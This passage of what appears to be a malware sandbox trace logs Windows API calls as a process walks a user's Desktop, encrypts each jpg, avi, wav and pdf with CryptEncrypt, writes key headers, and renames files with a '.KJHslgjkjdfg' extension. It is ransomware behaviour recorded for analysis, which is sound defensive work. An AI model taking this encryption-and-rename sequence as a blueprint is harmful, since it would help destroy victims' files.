dwFlags=0x0) returned 1 [0127.464] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.464] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1433a, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x1433a, lpOverlapped=0x0) returned 1 [0127.465] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x14340, dwBufLen=0x14340 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x14340) returned 1 [0127.466] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.466] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14340, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x14340, lpOverlapped=0x0) returned 1 [0127.467] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.467] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x14424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.467] SetEndOfFile (hFile=0xc0) returned 1 [0127.471] GetProcessHeap () returned 0x2a0000 [0127.471] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.471] GetProcessHeap () returned 0x2a0000 [0127.471] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.471] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IastE7wzz1LJALDjR.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iaste7wzz1ljaldjr.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IastE7wzz1LJALDjR.jpg.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iaste7wzz1ljaldjr.jpg.kjhslgjkjdfg")) returned 1 [0127.476] CloseHandle (hObject=0xc0) returned 1 [0127.477] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f35fc0, ftCreationTime.dwHighDateTime=0x1d5d9e3, ftLastAccessTime.dwLowDateTime=0x7ea4de70, ftLastAccessTime.dwHighDateTime=0x1d5de7d, ftLastWriteTime.dwLowDateTime=0x7ea4de70, ftLastWriteTime.dwHighDateTime=0x1d5de7d, nFileSizeHigh=0x0, nFileSizeLow=0x855b, dwReserved0=0x0, dwReserved1=0xffff, cFileName="iW5Mi0MX.jpg", cAlternateFileName="")) returned 1 [0127.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iW5Mi0MX.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iw5mi0mx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.477] GetProcessHeap () returned 0x2a0000 [0127.477] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.477] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.477] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.477] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x5, lpOverlapped=0x0) returned 1 [0127.478] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.478] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.478] GetProcessHeap () returned 0x2a0000 [0127.478] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.478] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.478] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.478] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.479] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.479] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.479] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.479] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.479] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.480] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.480] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.480] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.480] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x855b, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x855b, lpOverlapped=0x0) returned 1 [0127.480] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x8560, dwBufLen=0x8560 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x8560) returned 1 [0127.481] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.481] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8560, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x8560, lpOverlapped=0x0) returned 1 [0127.481] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.481] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x8634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.481] SetEndOfFile (hFile=0xc0) returned 1 [0127.485] GetProcessHeap () returned 0x2a0000 [0127.485] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.485] GetProcessHeap () returned 0x2a0000 [0127.485] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iW5Mi0MX.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iw5mi0mx.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iW5Mi0MX.jpg.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iw5mi0mx.jpg.kjhslgjkjdfg")) returned 1 [0127.489] CloseHandle (hObject=0xc0) returned 1 [0127.489] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x962f2440, ftCreationTime.dwHighDateTime=0x1d5e0d7, ftLastAccessTime.dwLowDateTime=0xe48710c0, ftLastAccessTime.dwHighDateTime=0x1d5dacf, ftLastWriteTime.dwLowDateTime=0xe48710c0, ftLastWriteTime.dwHighDateTime=0x1d5dacf, nFileSizeHigh=0x0, nFileSizeLow=0x14508, dwReserved0=0x0, dwReserved1=0xffff, cFileName="j30qcibGVZ7TC cBYc.avi", cAlternateFileName="J30QCI~1.AVI")) returned 1 [0127.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j30qcibGVZ7TC cBYc.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j30qcibgvz7tc cbyc.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.490] GetProcessHeap () returned 0x2a0000 [0127.490] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.490] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.490] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.490] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.491] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.491] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.491] GetProcessHeap () returned 0x2a0000 [0127.491] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.491] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50) returned 1 [0127.491] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.491] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fc90*=0x50, lpOverlapped=0x0) returned 1 [0127.491] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.491] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.492] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.492] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.492] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.492] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.492] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.492] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.492] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14508, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x14508, lpOverlapped=0x0) returned 1 [0127.493] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x14510, dwBufLen=0x14510 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x14510) returned 1 [0127.494] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.494] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14510, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x14510, lpOverlapped=0x0) returned 1 [0127.494] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.494] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x145f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.494] SetEndOfFile (hFile=0xc0) returned 1 [0127.499] GetProcessHeap () returned 0x2a0000 [0127.499] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.499] GetProcessHeap () returned 0x2a0000 [0127.499] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.499] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j30qcibGVZ7TC cBYc.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j30qcibgvz7tc cbyc.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j30qcibGVZ7TC cBYc.avi.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j30qcibgvz7tc cbyc.avi.kjhslgjkjdfg")) returned 1 [0127.505] CloseHandle (hObject=0xc0) returned 1 [0127.505] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c11580, ftCreationTime.dwHighDateTime=0x1d62774, ftLastAccessTime.dwLowDateTime=0x21c11580, ftLastAccessTime.dwHighDateTime=0x1d62774, ftLastWriteTime.dwLowDateTime=0x5cbf4b00, ftLastWriteTime.dwHighDateTime=0x1d6276c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0x0, dwReserved1=0xffff, cFileName="lok.exe", cAlternateFileName="")) returned 1 [0127.506] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4839fa20, ftCreationTime.dwHighDateTime=0x1d5e4cf, ftLastAccessTime.dwLowDateTime=0x68c072a0, ftLastAccessTime.dwHighDateTime=0x1d5e1c4, ftLastWriteTime.dwLowDateTime=0x68c072a0, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0x3b48, dwReserved0=0x0, dwReserved1=0xffff, cFileName="m SJd_T.wav", cAlternateFileName="MSJD_T~1.WAV")) returned 1 [0127.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m SJd_T.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m sjd_t.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.506] GetProcessHeap () returned 0x2a0000 [0127.506] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.506] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.506] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.506] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.507] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.507] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.507] GetProcessHeap () returned 0x2a0000 [0127.507] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.507] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.507] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.507] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.508] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.508] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.508] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.508] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.508] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.508] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.508] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.508] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.508] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3b48, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x3b48, lpOverlapped=0x0) returned 1 [0127.509] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x3b50, dwBufLen=0x3b50 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x3b50) returned 1 [0127.509] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.509] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3b50, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x3b50, lpOverlapped=0x0) returned 1 [0127.509] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.509] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x3c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.509] SetEndOfFile (hFile=0xc0) returned 1 [0127.513] GetProcessHeap () returned 0x2a0000 [0127.513] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.513] GetProcessHeap () returned 0x2a0000 [0127.513] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.513] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m SJd_T.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m sjd_t.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m SJd_T.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m sjd_t.wav.kjhslgjkjdfg")) returned 1 [0127.517] CloseHandle (hObject=0xc0) returned 1 [0127.517] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2fc8730, ftCreationTime.dwHighDateTime=0x1d5de7a, ftLastAccessTime.dwLowDateTime=0xa6dba6d0, ftLastAccessTime.dwHighDateTime=0x1d5d97d, ftLastWriteTime.dwLowDateTime=0xa6dba6d0, ftLastWriteTime.dwHighDateTime=0x1d5d97d, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x0, dwReserved1=0xffff, cFileName="MtV3KshDPRFOAwx.pdf", cAlternateFileName="MTV3KS~1.PDF")) returned 1 [0127.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MtV3KshDPRFOAwx.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtv3kshdprfoawx.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.517] GetProcessHeap () returned 0x2a0000 [0127.518] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.518] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.518] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.518] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.518] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.518] GetProcessHeap () returned 0x2a0000 [0127.518] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.518] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50) returned 1 [0127.518] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.518] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fc90*=0x50, lpOverlapped=0x0) returned 1 [0127.519] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.519] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.519] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.519] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.519] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.520] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.520] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.520] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.520] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfa00, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0xfa00, lpOverlapped=0x0) returned 1 [0127.520] CryptEncrypt (in: 